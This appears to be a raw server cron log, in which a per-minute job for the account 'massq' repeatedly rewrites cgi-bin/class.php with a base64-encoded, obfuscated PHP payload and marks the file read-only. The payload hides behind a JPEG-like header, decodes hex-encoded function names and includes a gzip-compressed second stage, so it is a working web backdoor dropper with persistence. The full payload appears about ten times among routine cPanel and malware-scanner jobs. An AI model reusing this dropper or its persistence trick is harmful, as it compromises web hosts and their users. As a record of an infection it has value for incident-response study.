Nov 13 11:03:01 server CROND[30171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:04:01 server CROND[31048]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:05:01 server CROND[31539]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:05:01 server CROND[31548]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 11:05:01 server CROND[31547]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:05:01 server CROND[31551]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:05:01 server CROND[31550]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 11:06:01 server CROND[32557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:07:01 server CROND[973]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:08:01 server CROND[1832]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:09:01 server CROND[2737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:09:01 server CROND[2739]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:09:01 server CROND[2738]: (root) CMD (/usr/sbin/csf -u)
Nov 13 11:10:01 server CROND[3606]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:10:01 server CROND[3608]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:10:01 server CROND[3609]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 11:10:01 server CROND[3607]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:11:01 server CROND[4506]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:12:01 server CROND[5366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:12:01 server CROND[5367]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 11:13:01 server CROND[6223]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:14:01 server CROND[7198]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 11:15:01 server CROND[8027]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 11:15:01 server CROND[8028]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 11:15:01 server CROND[8026]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
